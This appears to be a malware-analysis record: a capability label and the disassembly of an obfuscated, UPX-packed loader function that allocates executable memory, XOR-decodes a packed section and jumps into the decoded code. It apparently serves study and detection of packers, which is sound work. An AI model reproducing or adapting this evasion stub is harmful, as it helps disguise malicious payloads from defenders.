Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8cf8df59
sub eax, ecx
and ecx, eax
popal
add eax, eax
sub ecx, eax
mov eax, ecx
mov ebx, 0
mov edx, edi
not ecx
not ecx
mov eax, edx
add ecx, 0x17912743
dec esi
dec ecx
mov edi, eax
sub ecx, 0x535f8873
inc esi
inc ebx
inc esi
add esi, esi
cmp ebx, 0x100a670
jne 0xa789c2
not esi
add esi, 0xc650cc1d
sub eax, 0xf98473d0
sub eax, 0xba1283e0
mov esi, 0xa78796
sub ecx, eax
and eax, edi
mov edx, 0xa7898a
sub ecx, eax
sub ecx, 0xaba408a7
mov ebx, dword [esi]
sub ecx, 0xcbaa5b24
sub edi, ecx
and ebx, 0xff
and ecx, eax
or ecx, eax
not edi
xor dword [edx], ebx
inc eax
sub eax, 1
not ecx
inc edx
and eax, ecx
sub eax, 0xb741f4b9
add ecx, 0xb758de88
inc esi
dec ecx
add eax, 0x8f59ddcc
not eax
cmp edx, entry0
jl 0xa78a15
mov eax, edi
inc eax
not edi
mov edi, ecx
sub edi, 0xa8f75eae
not edx
add edx, edx
mov esi, 0xa7898e
sub edi, ebx
sub ecx, edi
dec edi
mov esi, dword [esi]
add ecx, 0x6441779f
add edx, 0xc512e379
mov esi, dword [esi]
add ebx, 0x26de7540
add edx, edx
push esi
or ebx, edi
inc edi
dec edi
mov esi, 0xa7898a
mov ebx, 0x704be824
dec ecx
sub edx, edi
mov esi, dword [esi]
add ebx, 1
dec ebx
add edi, edx
mov esi, dword [esi]
and ecx, edi
mov edx, ebx
sub ecx, 0x54577f13
push 0xa78992
inc ecx
and edx, ecx
call esi
add ecx, edx
or ecx, ecx
mov esi, dword [esp]
add esp, 4
sub edi, 0xe549e3fe
inc ebx
push 0xa7899f
add ecx, ecx
not edx
push eax
add ebx, 0xefbd8f1d
sub edx, ecx
mov edi, edx
call esi
mov ecx, edi
sub edi, ebx
push 0x40
sub edx, 0x504d277c
and edi, edi
push 0x3000
mov edx, 0xed462eae
or edx, edi
add ebx, 1
push 0x20000cff
sub edx, 0x1478c9bf
not edx
sub esp, 4
mov dword [esp], 0
dec edx
or ecx, edx
sub edx, edi
call eax
mov edx, 0xd7024da0
mov edx, 0xce4282b3
add eax, 0x20000c84
add edi, edi
mov edi, ecx
or edi, edi
mov esi, 0x991e6b3a
mov ecx, ebx
sub ebx, edi
mov ecx, 0xf805d9c
mov dword [eax], esi
or ebx, ebx
mov ebx, edi
mov edx, 0x346d2504
mov esi, dword [eax]
sub ecx, edi
add edi, 0xafdad77b
cmp esi, 0x991e6b3a
je 0xa78b71
mov edx, 0
mov byte [edx], al
sub ebx, 0x21dacf0d
dec ebx
inc edi
mov ebx, 0xeb99796d
dec ebx
sub eax, ecx
inc eax
mov esi, section.UPX1
mov ecx, 0x1253d8a6
or eax, ecx
mov edx, 0xa78795
mov ecx, 0x55e5ca6f
mov ecx, 0xf13795f0
not eax
mov edi, 0
sub ecx, eax
sub ecx, 0x743c5f89
mov ebx, 0xa78796
add ecx, 1
sub eax, 0xfd7490d8
lea ebx, [ebx + edi]
add ecx, ecx
sub eax, 0xf0fd7ee1
or eax, ecx
mov ebx, dword [ebx]
dec ecx
and ecx, ecx
and ebx, 0xff
not eax
add ecx, ecx
mov ecx, 0x11fafcc5
inc edi
not eax
add eax, 0xd6416e0a
and eax, eax
cmp edi, 0x1f4
jne 0xa78bf6
mov edi, 0
or eax, eax
add eax, eax
sub ecx, eax
and ecx, ecx
inc ecx
xor dword [esi], ebx
not ecx
not eax
add esi, 2
dec eax
mov eax, 0xd3fdc0e8
cmp esi, edx
jl 0xa78bac
inc eax
and eax, eax
or eax, ecx
inc eax
and ecx, eax
or ecx, eax
mov esi, section.UPX1
add eax, edi
not eax
mov edx, section.UPX1
or eax, eax
inc edi
mov ecx, 0xa78795
mov edi, eax
or eax, eax
or eax, edi
mov ebx, 0
sub eax, 0x9a819469
or eax, edi
mov bl, byte [edx]
inc edi
mov edi, eax
mov edi, 0x6d62b69c
mov byte [esi], bl
sub eax, 0x20a1c5b
add eax, eax
sub eax, edi
inc esi
inc edi
add edi, 0xe34b1786
add edx, 2
add edi, eax
inc eax
cmp edx, ecx
jle 0xa78c4c
add eax, 0x4762ee03
mov edi, 0x1055086f
mov eax, 0x530437e8
and eax, ecx
add ecx, eax
push 0x8dc6a0
add eax, eax
inc eax
dec ecx
ret